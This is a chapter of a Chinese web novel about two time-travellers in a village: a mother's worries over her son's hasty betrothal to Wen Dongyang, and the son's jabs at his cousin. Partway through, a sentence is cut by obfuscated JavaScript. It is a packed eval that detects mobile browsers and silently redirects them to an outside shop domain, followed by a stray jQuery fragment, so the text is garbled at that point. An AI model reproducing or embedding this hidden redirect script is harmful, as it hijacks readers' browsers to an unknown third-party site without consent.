陈芳折确实挺心疼这姓温的小姑娘,刚还帮忙出了不少主意,可她压根没想过把人接到家里来。
毕竟,她自个儿家里的情况也不乐观啊!
上面吧,有个老的。呆呆傻傻,平日只能当孩子养在家里,没啥劳动能力。
晚上睡她旁边那个公的,前些年修水库把腿给伤了,半残不残,也只能做点轻活,当半个劳力使。挣得还没吃得多。
下头呢,养了四个小的,俩大的勉强凑合,能跟着她挣工分。
剩下两个小的,一个瘦巴巴的猴子,风一吹就跑了。另一个也干瘦,还是哑巴,话都不会说呢!
就这家庭条件,她暂时都没想过给老二娶媳妇的事,免得把人好姑娘弄进来受苦。
眼下,家里那堆活祖宗都快顾不过来了,再娶温家的病丫头回来,日子还咋过下去呢?
也就她家这眼皮浅的孬小子,不考虑长远的事,见人家姑娘好看,就窜出来要娶。
现在可好,前嘴刚定的亲事,后嘴就得跟人退亲,你就说这事难看不难看吧!
陈芳折越想越气,又往孟星灿背上来了两巴掌。
孟星灿虽然穿过来没多久,但已经接收了原身的记忆,完美融入了对方的家庭。
他知道陈芳折的顾虑,压低了声音解释:“妈,你先别急,温同志身体是很健康的,我俩之前就认识。她现在这样,只是不想留在她大伯家,也不想嫁给孟宏志。我二叔他家啥样你也知道,那也是个火坑。”
孟星灿心道,自己也不算乱说。温冬阳能绑定系统,身体应该不会有啥大问题。
陈芳折听完,耳朵动了动。
那温冬阳大伯,她虽然不了解,但从刚才的为人处事上就能窥出一二,确实是个哈怂。再说孟老二他家,这个她了解,那更是贱怂一窝。
虽然这孟老二跟她家算是亲手足,但关系一直很差。平日走路上碰到了,都得翻着白眼假装没看到,走过去后还得朝对方的背影呸上两口痰才过瘾。
要说两家人的恩怨,也有些年头。
她男人孟启是家中长子,但不知为何一直不受老头子待见。
按村里的习俗,她家得负责上面老两口的养老,可老爷子死活不愿意,非要让小儿子一家伺候。
家里的一院房,自然也是留给老二。她们长房啥也没有,被撵出来不说,还让她们自家借钱,另修一处小屋院住。
本来,陈芳折她们也没生什么怨气,老人偏心眼是让人心寒,可到底是他自己的东西,想给谁也拦不住。往好的想,她们虽然没房,但也不用伺候人了嘛。
但院房已经给老二了,老爷子也指明要跟他们过,那老人的养老事宜,老二他们是不是得负责到底?
结果,老爷子前脚刚蹬腿,老二后脚就把老太太送她们家来了。
一问就满脸无奈,说是老太太想大儿子,在家绝食上吊每天哭闹,没办法,只能把人送过来。
老太太神智不清好几年了,性子跟小孩似的,老二说的那些话也没法证实真假。但看老人的状态,在老二那里肯定是过得不好。
老太太以前脑子还清醒的时候,对陈芳折她们是实打实的疼爱。两口子也不舍得再折腾老母亲,就把人领回家养着了。
不过,她们也不是一味吃亏的主,后面又掰扯大半年,让老二出了点血,把之前修房子欠的钱还完了。
家里好几个孩子,还有老人,原来的房子住着挤得慌。陈芳折觉得日子还能过,就借了些钱,又给家里扩了两间小屋子。
没成想,屋子刚扩完,就赶上自然灾害,地里减收。屋漏偏逢雨,她男人腿也出意外瘸了,日子彻底难过了。
陈芳折都有点想不起来,那几年是怎么撑过去的。
这两年勉强缓过来些,可帐还没还完,家里能干活的又少,日子照样是一地鸡毛。
平日里,陈芳折很少会细想自家的生活。只要一想,就觉得苦,就有发不完的愁。所以她就习惯什么也不想,闷头过,总就一天天过去了。
这会儿,因为儿子的话,她下意识回忆起一些事。不过,此刻她的心思都在娶媳妇的事上,倒也没功夫忆苦思苦。
陈芳折这人很矛盾。
刚知道温家姑娘身体不好时,她觉得娶人家回来,屋里负担重。
现在知道温家姑娘身体健康,她又怕人家嫁进来受苦。
于是,陈芳折皱了下眉头,对孟星灿说:“你二叔家是不咋地,可咱家照样不争气啊!你把人娶进来倒是轻松了,可想过人家以后的日子没有?”
“好手好脚好模样的姑娘不愁嫁。就算不嫁,她自己在队里做点事,怎么都好过了。可嫁来咱家呢?吃不完的苦!你是不懂柴米油盐的夫妻事儿,刚在一起时你俩也许腻歪,看不出什么,等后面发现日子越过越难受,就啥感情都忘了,活生生过成一对冤家!”
孟星灿帮亲妈抚平额头:“我的娘啊,我自己要娶的媳妇,肯定不能让她过得那么苦。我保证也不会拖累家里,你就别愁了。你总觉得我俩在一起会苦上加苦,难道我们就不能负负得正吗?说不定日子都变好了呢?”
陈芳折听完狐疑道:“就你这样,能把人姑娘照顾好?”
不是她不信儿子的话,主要是这小子平时就很不着调。
要相信浪子回头,也总得看见那浪子的脑袋有动的迹象,才能回头吧?
光动嘴皮子,谁不会?
见亲娘不信,孟星灿想了想,说:“我奶那里有本修东西的册子,我学了很久,最近终于琢磨出一些名堂了。我找人先修点小玩意练练手,等练熟了,就能帮队里修个农机啥的,能多挣不少工分。”
陈芳折听完,盯了他一会儿,眼神复杂。
这小子说的轻松,好像他一张嘴人家就让他修农机去了,那可是些金贵玩意儿。就他以前那好吃懒做的样,谁能让他碰农机呢?
但毕竟是亲妈,最终还是没忍心拆台,只叹气道:“算了,你心里有数就行。我也不是想阻挠你们,这世上就没人能帮别人的日子做主,哪怕我是你亲娘也一样。但我丑话说在前头,要真成了亲,过好过坏都是你们自己选的,我不会管,也不掺合!”
“还有,咱家的条件就是那样,要娶人进来,财礼啥的确实也给不起。我顶多能给她做身衣裳,再吃顿好饭,别的就没有了。你们俩还是先打个商量,人家没意见的话,这事才算定了,她没处去,你一会儿直接把人带家里来。”
说罢,陈芳折就往外走。
万一那姑娘真要嫁过来呢?她得赶紧回收拾屋子,再跟队长家借点肉晚饭吃。忙完,下午还得去上工。
她走了,周围的社员们也陆续散去,大伙都有活,不好再耽误时间。
人们边走边说道。
刚才看了一场热闹,也不算白来,就是没想到那孟家二房的婚事居然被大房接过去了,这两家子真是说不完的孽缘。
临走前,还有与孟星灿相熟的小伙子玩笑:“星灿哥,等你后面发达了,记得把喜酒补上,最好是来顿全是肉菜的大席,给咱们都解解馋!”
现在呼吁移风易俗,队里的红白事也要精简操办。一般人家就是请队里人吃顿简饭,但像孟星灿家这种条件很不好的,不请饭也都能理解。
说让补喜酒,也算一种祝愿了,大伙也是希望他家日子越过越好。
孟星灿会意,也挥手朝他笑:“好啊,到时候一定让你们吃饱喝好!”
等人都走光了。
孟星灿转过头,就看见旁边的孟宏志一脸戏谑:“好堂弟,说完话了,也该带温同志回你家认认门了吧?”
这里可是他家的院子,孟宏志并不想这俩人待太久,万一又把霉运留下来咋办?
孟星灿叹了口气:“好,我们这就走了。堂哥,你不用费心我俩的事,还是多关心一下我二叔吧。我刚想了想,这门亲事你也有苦衷,而且也没说不负责任,相反,你是个很负责的男人。可我二叔刚一直在大家面前说你不像话,没信义啥的,我总觉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17726142|208542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
得有点过了。”
说完,又佯装说错话,拍了下自己的嘴:“哎哟,瞧我这嘴总胡说,我二叔毕竟是你爹,肯定不是我那个意思,你别往心里去啊!”
孟宏志的脸开始隐隐发青。
孟星灿又装模作样叹了口气,转头就招呼温冬阳回家。
温冬阳暗道,不愧是挑拨离间哥,临走前还得拨两句。
她在脑中问系统:【统子,你刚说会帮我分辨孟星灿话里的阴阳怪气,那他这段话有什么问题,你听出来了吗?】
系统:【啊?宿主,他这段话有问题吗?不是在夸孟宏志是负责任的好人,让他多多关心父亲嘛?】
温冬阳:【好了,玩去吧你。】
就知道系统指望不上,做人还得靠自己。
温冬阳拍拍胸口,咳嗽两声,小步走到孟星灿身旁,看一眼孟宏志:“宏志哥,你放心,了解你的人都不会信孟伯伯说的那些气话。你是我见过最有信义的好人,哎,只可惜我们之间没有缘分啊......”
说完,她一步三回头,跟着孟星灿走出院子门了。
徒留孟宏志站在原地越想越窝火。
刚走的那两人,虽然霉气冲天,但有些话还是挺中肯的。
他爹这人,自己喜欢装腔拿大,在外人跟前却不给他这儿子留面子。
回忆起来,上辈子,他爹在一些大小事上也总拎不清,难怪他家能过成那个鬼样子!
这辈子,他已经开始改变命运,没再娶短命鬼回家,还掌握了许多先机,得想办法管好自家的爹娘,不能再让家里给自己拖后腿。
原生家庭,哎!
孟宏志想罢,转身就往屋里走:“爹,你出来,咱俩来掰扯一下,刚在外人面前,你咋一点面子也不给我留?别人的爹都只说儿子好话,你呢?”
“呀嗬!反了你,儿子还敢来说教老子了?你小孩家家的能有啥面子?你那面子还不如鞋垫子值钱!”
“我还小?我都能跟人说亲了!好好好,在你眼里,我这个儿子就这么......”
......
温冬阳跟孟星灿扒着外墙,听了好一会儿孟老二家的热闹,才意犹未尽地离开。
一起穿越并绑定系统,并没让两人拉近内心的距离,反倒是共听八卦这事让她俩亲近许多,相处起来虽然还是生疏,但也不至于像陌生人那样尴尬。
这会儿道上没什么人,两人并肩走着,孟星灿开口,压低了嗓子,自觉介绍起自己的情况:“我是两个月前穿过来的。对了,我刚收到一份你的信息介绍,那我生前......上辈子的事,系统也应该发给你了吧?"
温冬阳微笑:“发了,我已经看完了,你可真有本事,那么年轻就做成了一番事业。我是今天穿来的,正发愁怎么办呢,还好遇到你,刚才也谢谢你替我解围。”
孟星灿摇摇头:“那不叫解围,叫寻求合作。我们现在也算是朋友了吧,你对我不用这么客气。再说,我做的那算什么事业?不过是个修车店罢了,只希望你别嫌我是个半文盲,读的书连你头发丝碰过的书也比不上。你才是有本事的人,家里没人督促也能沉下心学习,考研究生,自制力强也聪明。”
温冬阳这次是真情实意地笑了。
不得不说,孟星灿是个很会说话的人。
虽然他俩这会儿聊天,客套中带着试探,但总体交流还挺愉快的。
她干脆直奔正题:“咱们来说说系统的事吧。我的系统你也听到了,叫农场空间,如果方便的话,我们可以交换一下信息。”
要想搭伙合作,就得先弄清楚双方金手指的情况,才好计划后面的事。
孟星灿没意见:“行,我的是超市系统,不过目前遇到了一些问题,还不能用。”
他说着,抬头看了眼天色,“说来话长,下午我还得去干活,现在来不及说了。你才过来不久,又遇到那些糟心事,这会儿也该累了吧?我先送你回家休息,等晚上有空,我们再好好说话。”